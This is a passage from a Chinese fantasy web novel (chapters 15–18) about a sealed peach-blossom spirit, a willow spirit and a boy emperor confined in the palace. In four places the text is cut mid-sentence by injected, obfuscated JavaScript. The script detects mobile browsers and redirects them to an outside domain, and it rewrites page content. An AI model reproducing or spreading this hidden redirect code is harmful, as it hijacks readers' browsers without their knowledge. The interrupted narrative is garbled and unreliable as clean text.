“柳精!你疯了不成!”她咬牙抗下女人狠烈一击,严重怀疑这个道貌岸然的老妖精是不是被她戳穿心思恼羞成怒了,她害怕女人真的想要杀妖灭口,连忙再施了个法诀加固屏障,“你犯下的过错还不算太严重,我们先向柳玉玢赔罪,之后我陪你一起去向女娲娘娘认错,相信到时候女娲娘娘是不会严惩你的!” “赔罪?绝不可能!”柳精一击直接冲破桃花精的防御,重重打在女孩左肩上,“我承认你说的有几分道理,尽管不认同可事实确实如你所言,女娲娘娘不会轻易饶恕我的罪孽。桃花精,休想压我去按照你的理念行事,在万寿宫那个女人死之前,我是不会跟你去见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002184|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女娲娘娘的!” 万寿宫......是太后! 桃花精捂着肩膀艰难站起身,咳出一口血,“那位太后......真的是陶丽绾的后人吗?” 柳精冷笑,讥讽:“大难临头了你还关心那个女人的后代,不是说很讨厌陶丽绾这个名字吗?看来你也没有放下啊。”她话锋一转,“不是,太后跟陶丽绾没有任何关系。” 她犹不死心,“那太后为何会做陶丽绾发明的甜糕?” 柳精反问:“那你又何故想要找到陶丽绾的后人呢?” 她飞跃半空之中,抬臂瞄准地面之上脆弱的小妖,火红的焰光在她的掌心燃烧,兴许是看女孩太过弱小,又或者是由于别的原因,她没有马上动手,而是难得主动与她说起了往事:“你比上一代桃花精要强。对你来说桃花谷几万株桃木与陶丽绾一人的生命都是不可放弃的吧,不过如果是上一代桃花精,那个任性的孩子一定会毫不犹豫放弃桃花谷,然后把毕生修为浪费在一个凡人身上。” “上一回见面——也就是最后一次相见,她拖着伤痕累累的身体找到我,跪在地上苦苦请求我为下一代桃花精多多费心,知道她为什么她濒死之际没有拜托我照拂陶丽绾吗?因为她太贪心了。” 上一代桃花精知道比起冷漠的柳精,继承自己执念的桃花精能够更好地守护陶丽绾,因此她选择让下一代桃花精费心,作为补偿,又请求柳精为桃花精多多费心,这也就解释了当日茶馆初见女人为何要赠与两杯柳叶泡的茶水。 桃花精握紧双拳,仰头紧紧盯着女人,“上一代桃花精给你了什么?” 柳精摇摇头,笑了:“我帮你报恩,你又要给我什么呢?” 不...... 桃花精呼吸一滞,浑身发冷,后知后觉反应过来柳精那句“她太贪心了”究竟是什么意思。上一代桃花精不仅让她收拾烂摊子,帮忙照顾陶丽绾,竟然还要她代自己还当初欠给柳精的那份果! 她们正处在桃花精的一方小世界中,本该是世外桃源的这里漫天黄沙,柳精漂浮在半空之中,长发飞扬,面容隐藏在这片荒芜天地中唯一一点翠绿水雾后面,模糊不清。 可隔了那么远的距离,桃花精还是感受到了女人眉梢眼角那一缕浅淡到几乎要随风而去的温柔。 女人倏而收了手,放弃了原本的攻击。 眨眼间,那片模糊了柳精的翠绿便闪现到了桃花精眼前,不等她做出反应,一片庞大的柳叶陡然从那片翠绿中生长出来,以一种不可阻挡之势迅速将她包裹。她立即施法要打破,然而所有攻击都被这片柔软而坚韧的柳叶吞噬掉,最后一点意识消失之前,她只听到柳精轻声的呢喃: “给我一点时间,事成之后我自会去女娲娘娘那里认罪领罚,在此之前,你就先在这里睡一觉吧。” “不要恨我,因为......短短两百年,我已经恨够你了,仇恨的滋味太痛苦,你无需品尝。” “睡一觉吧桃花精......当你醒来,我会为你奉上你想要的一切。” 15. 第 15 章 又是一年春日,院子里的桃木已经凋零许久了,今年也只有寂寞的枯枝被雨滴压的往下。 这里大多时候都是晴朗的天气,阳光总是不知疲倦地冲洗这片灰暗潮湿的地界,温暖的让人厌烦。这里一般也不会风的,狂风向来与高墙拥挤的皇宫不相符合,往往还没起来就被冰冷的石墙打了回去。 故而今日这样连绵不绝的阴雨天是很难一见的。 淅淅沥沥的雨水被风吹卷着打湿了画纸,刚刚落下一笔画就的枯枝因此晕染开来,隔着氤氲的水雾盛放两朵桃花,一朵大而饱满,另一朵仅仅只能瑟缩着依偎其旁。 桃薇窥视到画作一角,莫名想到了自己那枚玉佩,下意识伸长脖子多看了几眼。 几乎在同一时间—— 画作的主人抓起砚台随意扔到桌案上,生动多情的春日细雨图就这么轻易被大片的污浊覆盖,黑漆漆的墨汁瞬间蘸满整张纸,还有一些流淌过断裂的毛笔,顺着桌沿滴滴答答落下。 她身子一抖,抬眼就这么直愣愣撞进了少年皇帝阴冷暗沉的眸子之中。 “不好意思,打翻了。”已经与她同高的少年起身拍了拍厚重的衣裳,那双常年握着画笔的手指纤细修长,与他的玄色衣衫交叠在一起显得刺眼无比,便如他此刻软软的笑意一般。 她不知道该说什么,只好收回眼低头缄默不语。 小皇帝近些年性子愈发乖张暴戾,偏偏还总是一副乖娃娃的模样,让人觉得恶心。 快速掀起眼皮瞅了眼男孩离去的背影,她撇撇嘴,认命挽起袖子开始收拾桌上的狼藉。 太极宫里的桃木已经许久不盛开了,桃薇犹记得六年前崔相亲自送来这株桃木时的盛景,只可惜物是人非,也不知究竟是桃木的衰落昭示了崔相的倒台,还是崔相的离去也一并带走了这株桃木的生机。 六年前冬日的一天,那时她还侍奉在太后娘娘身边,她们刚刚用完午膳正在院中散步消食,突然见柯良急急忙忙跑来说皇上与柳大人打起来了。太后娘娘听了脸色大变,二话不说直接跑去了御书房,她也是惊的下巴都要掉了,要知道这位柳大人可是太后娘娘捧在手心里的宠臣,就连娘娘自己都不敢对那人说一句重话,今日却告诉她们竟然有人敢打柳大人! 而且还是那个软包子废物小皇帝!? ——不过显然是她们多虑了。 被打的只有小皇帝一人,柳大人罕见面色不虞冲太后娘娘发了老大一通脾气,还直嚷嚷着自己不要做太傅了。 趁太后娘娘轻声细语哄柳大人的间隙,桃薇赶忙去查看小皇帝的情况,伤口倒不是很多,只是哭得厉害了些,嘴里还一直嚷嚷着还他什么大人的,男孩哭得上气不接下气,她听不懂也不在乎,只知道从那一天开始她就被太后娘娘发落到了太极宫照顾小皇帝,无事不得任意走动。 也就是说,她和小皇帝一同被幽禁在太极宫了。 后来她托柯良去万寿宫打听原因,才知道原来是那位柳大人不喜欢她不想见到她,太后娘娘还亲自写了一封信让柯良送过来,里面说要暂时委屈她一段时间,还信誓旦旦保证等柳玉冷气消了就把她接回万寿宫。 结果她一等就是整整六年,六年的时间,她不仅没走出这个破地方,柳玉冷那个奸臣反倒越走越远,终于在两年前位极人臣,成了只手遮天的宰相大人。 桃薇越想越气,低头看着手里的砚台,直接双手高高举起又重重砸在地上! 可恶!可恶可恶可恶! 凭什么她要跟一个小屁孩待在这破地方整整六年啊! 这小皇帝也是个不叫人省心的怪胎,自打被幽禁起来后就一直坐在院子里那棵桃花树下哭个不停,整整哭了一整年,桃薇都要忍不住担心他会不会硬生生把自己眼睛给哭瞎!后来小崔将军来太极宫探望皇上,不知道男人对这个孩子说了些什么,孩子可算不再是疯疯癫癫的样子了,看上去稍微正常了些,只不过性情大变,常常无缘无故发脾气乱砸东西。 但是还算好的是男孩一般不会在人前发疯,大多时候是自己一个人发呆时被宫人打扰了,嘴上软绵绵说没关系,结果宫人一走就直接暴起砸了手边的东西。这几年他面无表情发呆时越来越吓人,纯黑的眼珠子泛着冷色的光,雪肤红唇,像是个没有灵魂的鬼娃娃。 柳大人不再教导皇上了,桃薇曾想过要不要找一些启蒙读物教他识字,好得他母亲生前对她有恩,总不能叫这么小一个孩子长成大字不识几个的文盲,可后来男孩主动找到她说他该认的字都会读会写了,他想学画画。 她一般不会管这个孩子,当然也不会拒绝他这种小要求,很快与太后娘娘禀告过后便安排了。 男孩学的很认真,几乎到了入迷的地步,每天除了吃饭睡觉就是画画,画上多是太极宫内一年四季的景象,有时也会对着镜子画自己的模样,就这么从六岁画到了十二岁。 柯良走进屋看到满地狼藉,很容易便推测出了是桃薇这位小姑奶奶在发脾气。 要说整个太极宫最惨的人,真是非柯良莫属,每天不是受小孩的白眼与阴阳怪气就是无端承受女人的怒火,而前者是皇帝他惹不得,后者是太后的人他更不能得罪,只能任劳任怨收拾两人的烂摊子。 “话说回来......”他将纸墨笔砚都收拾好,看向坐在一旁低头摆弄手里玉佩的桃薇,试探着开口:“听闻前几天太后娘娘与柳相吵了一架。” 桃薇竖起耳朵。 柯良见成功勾起女人的兴趣,心里松了几口气,继续说:“好像是因为小崔将军的事,太后娘娘想提拔另一位武将顶替小崔将军的位置,柳相却说边关正是需要崔朔这样会打仗的人的时候,不答应,然后......然后就吵起来了。”他往身上擦擦手走近几步,“娘娘心里头可不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012670|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受了,烦闷的厉害,若有你陪伴在侧,娘娘说不定能愉悦几分。” 原先的崔大人倒台后被斩首示众,但是念在其子崔朔战功赫赫的份上,他的家里人并未多受牵连。 这回可不能再喊小崔将军,该叫崔将军了。 桃薇手上擦拭玉佩的动作一停,没好气拒绝:“你别跟娘娘说接我回去,这事我也说不准谁对谁错,虽然我不喜欢柳相,但她确实厉害,万一我回去了影响娘娘判断怎么办......我就是担心,她们俩又因为我吵起来,怕娘娘赌气非要提拔那个武官。” 这话要让外人听去兴许会认为是玩笑话,可柯良却很明白桃薇所言绝非夸张。 两人一起沉默下来。 *** 绵绵春雨细如牛毛,碰撞在庭院的青石板上,回弹的雨滴使得地面泛起一层薄薄的水雾。 郑烨换了身鲜艳的衣裳端坐在廊下,手持狼毫,垂眸于画纸上细细描摹着一幅新的春雨庭院图。笔锋轻转,流畅勾勒出其中的幽静与柔美,墨色浓淡相互映衬,高大的桃木隐于雨雾之中,若隐若现间似能窥探其中的点点缤纷,然而仔细看去却又发现一切翠红不过是大梦一场,恍然无影。 这上面除却暗淡的桃木,一切景象皆是栩栩如生,清新动人,仿佛真的是镜中花水中月,一碰就没了。 他换下另一张纸,提笔慢慢写道: 绮英大人,今天下雨了,这是您离开这里后下的第九场雨,一定是最后一场吧?好希望是最后一场,毕竟一个人赏雨的滋味好难受,想和绮英大人一起在太极宫赏雨,啊不过太极宫四四方方的应该不好看,您肯定不会喜欢的,等您回来后我们也可以去别的地方看雨。 虽然不清楚身为妖精的您被雨淋到会不会生病,不过我还是做了好几把漂亮的伞哦,每把伞上都画了感觉您会喜欢的图案,要是您能尽快来看看就好了。不过,如果绮英大人您不喜欢打伞,我们也可以一起淋雨,上一次下雨时我提前体验了一下,嗯......有点奇怪但还是可以接受的!桃薇姑姑觉得我这样很有趣笑得可开心了。 哦对了,今天柯良跟我说,太后与柳玉冷吵架了,似乎是因为崔朔?我不喜欢崔朔,也不喜欢柳玉冷,但是大家似乎都很喜欢这两个人,绮英大人也喜欢崔朔吗?他好像快要回京城了,不知道和绮英大人谁会先回来。绮英大人,其实......我在想,我可以试着联系一下崔朔,说不定他有办法救您? 对不起对不起我太弱太没用了,这种情况下只会哭个不停都没有办法对抗柳玉冷,如果是崔朔的话肯定不会像我这样无助,这样看来绮英大人更喜欢他更愿意逗他玩也是应该的吧—— “唰——” 郑烨越写越快,脸色也愈发难看,到最后直接摔笔撕了纸,破碎到绝对看不清内容的纸屑被他甩在地上,少年眉眼狠毒阴鸷,抬脚重重碾上。 16. 第 16 章 “诶——很没用的孩子呢。” 水镜最后呈现的画面是被肮脏泥水浸透的碎纸屑,一只过分纤长了的大手探入其中随意搅了搅,水面之上的一层桃粉色光芒立刻消失于无,连同其中窥视的景象也不见了。 那只手也很快收了回去,晶莹剔透的水珠顺着主人凸起的骨节缓缓下淌,在凝结于指尖的一刹那迸发出淡粉色的强光,手的主人张开五指往外轻轻一挥,很快便有数不尽的水珠滴滴答答落在青草肥沃的土地之上。 那只湿淋淋的手跟随主人的移动晃晃悠悠,蕴含了巨大灵力的水滴绵绵不绝从那只强劲却不失美感的手上掉落,任何一片吸入灵水的土地都在霎那间焕发勃勃生机,嫩芽破土而出,鲜花悄然盛放。 走到这条芬香之路的尽头,自然垂落的手掌缓慢抬起,被沾湿而呈现出深褐色的赭色布料滑落,露出一节苍劲结实的小臂,将手掌推向粗壮的树干之上。 无穷尽的光点雀跃着、舞动着,一股脑涌入这株参天大树中,树木之上千朵万朵桃花依次盛开,灰蒙蒙的天空顷刻间被洗净,晴空万里,艳阳高照,目之所及的一切都变得亮堂起来。 手的主人抬头望向层层叠叠堆砌起来的桃花从,斑驳的阳光照耀进他琥珀色瞳孔里,交织变化成温柔的色彩:“一想到那孩子什么都不用做就能得到你的守护,还是会忍不住忌恨呢。” 话音一落,一颗饱满圆润的桃子嘭的一声从树上掉落,直直砸到男人头顶,声音一听就很疼,男人却只是笑眯眯收回手,然后对着坐在树枝上的女孩张开怀抱,“我错了,快点下来吧。” 桃花精正要砸下第二颗桃子的动作停下,闻言低头看一眼男人,轻哼一声,“你不是被女娲娘娘关进无尽之域了吗?怎么跑我这里来了?” 黄鼠狼精在女孩说话时两只眼珠子就直勾勾盯着她一张一合的嘴唇,见她没有要下来的样子便慢悠悠收了手,眉头轻轻一挑,“我倒是从女娲娘娘的无尽之域出来了,我们桃花精怎么还出不了自己的小世界呀?” 话音一落,男人脚尖点地轻轻一跃,转眼便坐在了桃花精身边,将她一整个人抱在怀里,低头自后方与她脸颊相贴,“我可以救小桃出去哦,还能帮小桃报仇,杀了那个可恶的柳精。” 似乎是知道女孩不喜欢这样的话,他蹭了蹭女孩,垂下的眼睫随着主人的心绪颤抖,掩饰一般转移话题:“说起来小桃还真是厉害呢,我想一想......上一次来你的小世界还是五十年前吧,那时候这里还是一望无际的黄沙,没想到再次踏足已经是草长莺飞之景了。”他一点点收紧怀抱,语气听不出任何异样:“还以为修复这里起码要个几百年,没想到小桃只用了六年就让这里变得生机盎然。” 柳精设下的封印十分刁钻,只能召人从外面破解,里面的人哪怕使出浑身解数也无法撼动一二,桃花精空有一身灵力无处使用,她又做不到隔了一个界面给桃花谷输送灵力,只好暂时把修复桃花谷的精力转移到了修复这方小世界里。 每种妖精都有属于本族的小世界,一般来讲,小世界的丰盈程度与本族的兴衰息息相关,而每一代妖精陨灭之后,她们的灵体就会被小世界吸收,不仅能够帮助小世界向更高阶进化,也是小世界成功孕育下一代妖精的必要前提。 桃花精之所以如此弱就是因为上一代桃花精逆天而行,把自身全部灵力倾灌入了陶丽绾体内,把小世界与桃花谷搞的一团糟,她死后别说给小世界补益了,甚至还需要破破烂烂的小世界榨干自己所有灵力去孕育桃花精,而在这样环境诞生的桃花精自然先天不足,比不上别的妖精。 “还是多亏了你刚才又帮我注入不少灵力。”她心中感激,扭头便对上了男人笑意盈盈的目光,于是她也跟着笑了,“你还是赶快回去吧,万一柳精察觉到你跑进我的小世界里,也对你放下束缚怎么办。” “她想关就关呗。”黄鼠狼精的胳膊很长,环过她的腰摆弄她腰间系着的软树枝,无所谓笑了一下,“反正一直以来都是我陪在小桃身边,既然小桃不打算出去那我们就继续在这里待上一段时间,也挺好的不是吗?” 男人讲话会时不时瞟过来一眼,像是在不断确认自己口中的内容是否会让她不快,其实他很了解她,哪怕不通过表情观察也很容易明白怎么让她开心。 他只是想看她。 与他能够将她全部拢在怀中的高大身形不同,男人有一双又细又长的眉毛,每当她做出什么让他不高兴的事情时,便会很冷淡地耷拉下来,不过如他这般艳丽的容颜哪怕刻意冷脸也总是有着别样的风情。 记忆里黄鼠狼精总是春风拂面笑眯眯的样子,很少有生气的时候,为数不多几次还都是因为陶丽绾,他极度厌恶桃花精与凡人接触。记得有一次她偷偷跑出桃花谷学着凡人的习俗祭拜陶丽绾,回来后就得到了一只冷脸的黄鼠狼精,两人爆发了唯一一次争吵,他希望她能好好做个妖精与凡人切断所有联系,而她不想被男人密不透风地管束着,其实她当时是也没有很强烈的怨念,只是男人不知为何有些过于激动了。 那场争执最后是以桃花精看到男人因为生气而剧烈起伏的大胸忍不住笑出声作为转折点结束的。 “小桃真的长大了很多呢。”男人握住桃花精的手又松开,如此反复几回,眼神逐渐沉下来,“变得沉默了好多。” 她垂下眼皮,缩在黄鼠狼精暖和的怀抱里盯着他的手瞧,她并不排斥男人的亲密接触,大约是因为刚刚诞生的那段时间,体内没有上一代妖精留下的任何灵力的她几乎没办法存活,还是他小心翼翼把她搂在怀里一点点输送自己的灵力,这才使得她逐渐成长起来,有能力找到陶丽绾。 包括这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017463|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两百多年来男人也有一直帮助她为桃花谷输送灵力,只可惜身为异族的他哪怕输送再多的灵力,也比不上同源灵力的修复作用强,可尽管如此,男人还是固执地坚持下来,按照他的说法是——聊胜于无。 这么多年下来,因为整天厮混在一起的缘故,黄鼠狼精身上的灵力对她有着很强的亲和力。 “不是啦。”她抽回手推开黄鼠狼精,从粗壮的树枝上站起来一跃而下,站在下方朝睁圆眼睛看自己的男人招招手,男人立即蹦下来贴在她身上,她没有在意,拽着他的袖子往这片土地上唯一的水源处走去。 她深呼吸一口气,又慢慢吐出,几乎是在一瞬间就恢复了往常活力满满的模样,看向黄鼠狼精的眼神闪烁着骄傲的光芒,“我刚才在推演事情哦!” 怪不得一副心不在焉的样子。 在女孩看不见的地方,黄鼠狼精几乎是痴迷地盯着她那张洋溢着活力与生机的侧脸,主动上前一步改为牵住她的手,很捧场地惊叹出声,侧身弯腰眼含笑意问道:“那请问小桃大人都推演出了什么呀?” 推演过去,推演现在,推演未来—— 这是天道对妖精的恩赐。 从前的桃花精还只能推算一些表层的人物关系与过去的事情,她不依赖于这份能力,更多情况下会自己动身寻求想要的答案。可是在小世界里的这六年,她哪也去不了哪也看不到,所能做到的只有不停地修炼,以及日复一日的推演。 现在的她在妖界或许依旧是那个弱小的桃花精,毕竟六年的时间太过短暂,她想要的又太过庞大,天道能够给予她的只有她触手所及之物。 可她依旧坚定地相信,她会走上她所认为的那条正确的道路。 “这个阵法无法从里面解除,只能等待有缘人从外界帮我破开。”桃花精带着黄鼠狼精来到一小片湖泊前,抢先一步说道:“你身上所牵连的因果太多,我不想让你掺和进这件事中,你先回去吧。” 男人发尾泛着棕黄色,在阳光的照射下与他琥珀色的眼睛很像,都是一样的漂亮,他听到这些不知道想了什么,总归是不大开心的样子,“有缘之人是上天的安排,故而不会产生任何因果,这可真是难得一求,小桃知道要等多久吗?” “知道。”桃花精回头看了一眼身后居住了六年的树木,眼中带着势在必得的信心,毫无留恋之意,“那个有缘之人马上就来,我很快就能出去了。” 这句话不知触动了黄鼠狼精哪根神经,一直还算从容自得的男人脸色骤然难看起来,深沉的眼底有暗潮在涌动,他在女孩注意过来前猛地转身,温和漂亮的皮囊在一瞬间变得狰狞可怖,他没再回头让桃花精看自己一眼,强压着怒火丢下一句“我在桃花谷等你”后原地消失不见。 桃花精知道他在气什么。 气她不需要他了。 17. 第 17 章 柳夫人病了。 柯良讲这件事的时候,桃薇正在喂池塘里的锦鲤,闻言手一抖,鱼食撒过了量,她连忙挥挥争先恐后抢食的鱼儿,勉强捞出来些许,懊恼地将手上湿哒哒一团扔到地上,语气颇为苦闷:“柳夫人的身子几年前就不大行了,当时不知道从哪冒出来个神医给救了过来,没想到才几年过去就又生了病。” 她重重叹了一口气,“崔将军征战在外,老母亲病了都没法亲自侍疾,哎,原本崔家的人就死了大半,娘家人又远居北方,也不知道柳夫人自己一个人该怎么办。” 柯良好笑:“人家是瘦死的骆驼比马大,再怎么落魄也有成群的奴仆伺候,用得着咱们可怜?”他斜睨了一眼池塘的锦鲤,意有所指:“喂鱼确实有趣味,图个乐子就是,别的无需去想,操心总得操对地方,你说是吧,桃薇姑姑?” 桃薇一点也没被“姑姑”两字刺激到,反而抬起头来笑吟吟说:“娘娘的意思就是我的意思,什么时候出去全取决于娘娘的心意,你说的很对,这不是我们该操心的事情。所以柯良,你就歇了这份心思吧,娘娘没你想的那么脆弱,没有我在身边她也能好好的。” 男人有些拉不下脸,冷哼一声走了。 她独自坐在院子里犹豫了会,最后还是决定把这件事告诉郑烨,不管太后娘娘与柳玉珍有多大的仇怨,柳氏姐妹终究是皇帝在这世上所剩无几的至亲之人,亲姨母生病了,他理应知道的。 去的时候男孩又在昏昏沉沉的屋子里整理他的一堆画,在听明来意后表现出很惊讶的样子,虽然絮絮叨叨讲了很多担忧姨母的话,可桃薇却莫名觉得他一开始的惊讶只是因为没想到她会亲自来说这件事。 在男孩提出让她帮忙请求太后娘娘准许自己出宫看望柳夫人的要求后,她果断拒绝了,“不过你可以问问柯良,我不是不想帮你,你忘了吗,我也没法出太极宫的。” 皇帝立马露出很愧疚的表情,起身端着一碟糕点从桌案后头走过来请她吃,说是谢礼,也是赔礼,见她没反应甜甜笑着放在一旁的桌子上,很快就跑出去找柯良了。 桃薇看一眼就知道这是小皇帝跟厨房里的张嬷嬷学着做的甜糕,她随意扒拉两下,没什么胃口,一方面是心里记挂柳夫人,一方面这种甜糕她吃的多了,实在有些腻味。也不知道这东西究竟有什么好的,身边一个两个的都当成宝贝要学。 这里常年不点灯,门窗也总是紧闭着,故而湿气很重,有时候她都担心会不会生虫子把郑烨那一堆画给啃了。她倒是提点过几句,只是男孩不领情,死气沉沉让她少管闲事。 桃薇刚刚推门而出就见到柯良喜上眉梢小跑过来,直接越过伸了半只手的小皇帝来到她跟前,笑开了花:“桃薇姑姑!快快准备一下,柳相让您陪伴陛下一起去崔府里看望柳夫人呢!” 她怔住,甚至一时间都没反应过来,只是呆呆望着男人一张一合的嘴,等到小皇帝也来到身边勉强笑一笑,说了句:“桃薇姑姑,麻烦您了。”才恍然明白话里的意思,仔细想想大约是柳相有意拉拢崔将军,这才多留了一分情面。 不过也有可能是柳玉冷看在往日的情分上,毕竟从前此人受了柳夫人妹妹许多帮助。 桃薇无法对柯良的惊喜感同身受,事实上,她心里对于能走出太极宫没有多大感受,也不会因此对柳玉冷改观,心里只想要带上御医赶快去瞧瞧柳夫人。好在这种紧要关头小皇帝没再发癫,安安分分与她乘坐马车,一行人十分低调出宫直奔崔府。 柳夫人年纪大了,再加上两年前丈夫逝去,家道中落的刺激,身子骨一直断断续续有着毛病,这回据说是前段时间下雨受凉,得了风寒,一开始并不严重的,只是柳夫人身子太弱受不住,这才使其愈演愈烈。 桃薇请太医诊治又开了药方,趁熬药的时候提醒皇帝一会亲自把药端过去侍奉一二,男孩长大后虽然性子古怪,但起码不是个不懂事的坏孩子,也没有端皇帝架子,端着药碗半跪在床边服侍柳夫人喝药。 她很满意,刚要出去再仔细找太医问一下病人的情况,便被病人叫住,只见那位虚弱沧桑的女人露出一个浅浅的笑,朝她招招手。 “六年前我也是去鬼门关走了一遭,多亏有位下山行善的小神医出手相助,这才叫我苟活到今日。”柳玉玢眼底有泪光,声音很轻地说了句:“那真是一个很好的孩子。”她似乎很想要接着这个话题继续讲一些,但是羸弱的身躯无法支撑她花费那么大的精力,最终只是见到提到:“愿意听我讲阿珍的事情,一点也没有不耐烦......” 一直低头不语的郑烨像是被按了开关突然活过来,身子猛地一颤,他捧着药碗半蹲在地上,僵硬地抬起头看向女人,许久没有好好说话的嗓子有几分干哑:“那您知道她现在去哪了吗?” 桃薇察觉到不对劲,不动声色观察旁边的男孩。 柳夫人闻言有些诧异地看了他一眼,摇摇头,神情中多了几分怀念,面色柔和些许,“陛下也认识那位神医吗?” 郑烨扯动嘴角想要笑一笑,不过显然很失败,便低下头继续沉默不语。 柳夫人没有在意,从枕下拿出一片鼓囊囊的绣帕,当着众人的面缓缓打开—— 桃薇瞪大眼睛,满脸震惊。 这里面竟然包裹着一朵鲜妍盛放的桃花。 “这是......?”她和小皇帝同时问出声。 “这是当初那位神医交予我的,分别时她走的匆忙,只留下这朵神花,嘱咐我往后若遇到什么无法解决的难处,就将这神花种在城北的花神庙里,日日诚心祈祷,便能化险为夷。”女人重新包裹起来,递给桃薇,“烦请桃薇姑娘帮我种下吧。” 桃薇震惊,小心翼翼接过来,不可置信看来看去,“您说的神医该不会是六年前帮您治好肺痨的那位吧?” 柳夫人含笑点头,“是,所以才说这是神花。”她看向桃薇的眼神中有欣赏与尊敬,缓缓开口解释:“......本来是想留给朔儿的,可是,想了一下,我还是不想死呢。” “夫人!”桃薇赶忙阻拦。 女人却是看的很开,不甚在意这种字眼,还很贴心地安慰:“姑娘便当做是一次寻常的祈福烧香吧,本来也就是图个安心。” “——等等!”郑烨忽然站起来,直接伸手去抓手帕,桃薇灵活躲开,男孩被狠狠瞪了一眼后才十分焦急地掀袍跪在地上,“姨母,还请姨母让我为您尽一回孝,这桃花就由我去种吧!” 柳夫人讶异地看向桃薇,桃薇也满脸尴尬摇摇头,赶紧拽了一下男孩后背的衣裳,小声提醒:“陛下!您做什么呢,快点起来,别让柳夫人为难!” 谁料这位少年皇帝直接双手扶地磕了个响头,大声恳请:“请姨母让我去吧!” “皇上,不是我不愿依您,只是这花神庙,是只有女子才能进去的地方呀。”柳夫人咳着起身要扶男孩起来。 桃薇一惊,连忙上前按住略显紧张的女人让她躺回去,转身面对男孩时已经生气了,“陛下,请不要再胡闹了!” 桃薇打小就是被太后娘娘宠爱着长大的,毫不夸张的说,没进太极宫的女孩在皇宫里的待遇简直与公主无异,是以不仅是柳夫人,就连郑烨这个挂名皇帝也违抗不得。 郑烨握紧拳头,六年——整整六年,他终于有了绮英大人的一丁点线索,怎么可能就这么轻易放弃,低声下气恳求:“桃薇姑姑,求求您了,您就带我去吧,我就在马车里等着您,绝不进入花神庙!” *** 桃薇已经很久没见过宫外的世界了,故而也万万没想到京城里还有如此......混乱的地方。 “不行不行!停车!”她一把掀开帘子,喝令车娘停下马车,扭身态度强硬地吩咐男孩:“我现在让人送你回去,这里太危险了,你绝不能待在这里。” 腥臭的气味透过晃荡的帘子传入车内,车外是不绝于耳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女孩当即开始用力推攘她的腿竟然要把她整个人都推入井中,幸好一旁侍卫反应快赶忙把她捞出来。 “你做什么!”桃薇吓得喘不来气,跪坐在井口气喘吁吁,把钱袋砸到女孩脚边,“钱给你!以后别做这种事了!” 不料女孩对脚边的钱袋视若无睹,扑通一声跪下来不停给桃薇磕头。 “诶诶诶!”桃薇简直一个头两个大,赶紧把女孩拉起来,也是在这时她抬起头来,恍然发现枯井四周围着坐了一圈人,老弱病残,都是女人,每个枯败的人都目光灼灼望向她手里的玉佩,像恶狼一样。 她不由得缩紧了身子,一只手撑在井口,另一只手下意识抱紧了女孩,“......这怎么回事?” “供奉......花神......” 怀中的女孩发出细弱的声音,要不是离得近桃薇差点没听到,她不可置信低下头:“什么?” ............ 听完女孩断断续续的讲述后,桃薇沉默良久,无言以对。 这里的女人们信奉所谓的花神花绮英,她们认为只要拿玉石金器这些华贵之物祭拜花神大人,花神大人就会赐下福祉,帮助她们实现愿望——她们现在的愿望,就是希望一起生病的几个年迈女人能痊愈。 她抬头,环视一周,到处都是女人渴望而麻木的眼神,密不透风,几乎要将她溺毙。 桃薇站起来,面无表情看了一眼手中的玉佩,转手毫不犹豫扔进枯井中—— “扑通——” 原来不是枯井。 她昂首挺胸,目光坦荡自信:“好了,花神会实现你们的愿望的。” *** 小世界内—— 平静无波的湖面中央突然泛起一点涟漪。 结界破了。 桃花精微笑看着面前惊愕到失声的郑烨,挥挥手,“呦,好久不见呢!” 18. 第 18 章 六年的光阴岁月于桃花精而言不过是弹指一瞬,非要从中找出什么意义的话大概是修复好了小世界,至少不用担心下一代桃花精遭遇和她一样的天崩开局。 至于眼前的人,整整六年,是他一半的人生了。 桃花精一拍掌,歪头笑嘻嘻夸赞:“变化真的超级大嘛,刚才差点都没认出来诶,我们小皇帝真是越长越漂亮了!” 这是真心话,初见时她便被男孩动人心魄的美丽所震撼,不过六年没见,长大了的他比之从前简直脱胎换骨。 十二三岁,其实还是个孩子,假如说六年前在月光下闪闪发光的郑烨宛如圣洁纯真的神之子,那么如今身上有了更多凡俗味的他,一眼望过去真的会让人想到凡间话本子里所说的鬼魅妖精。 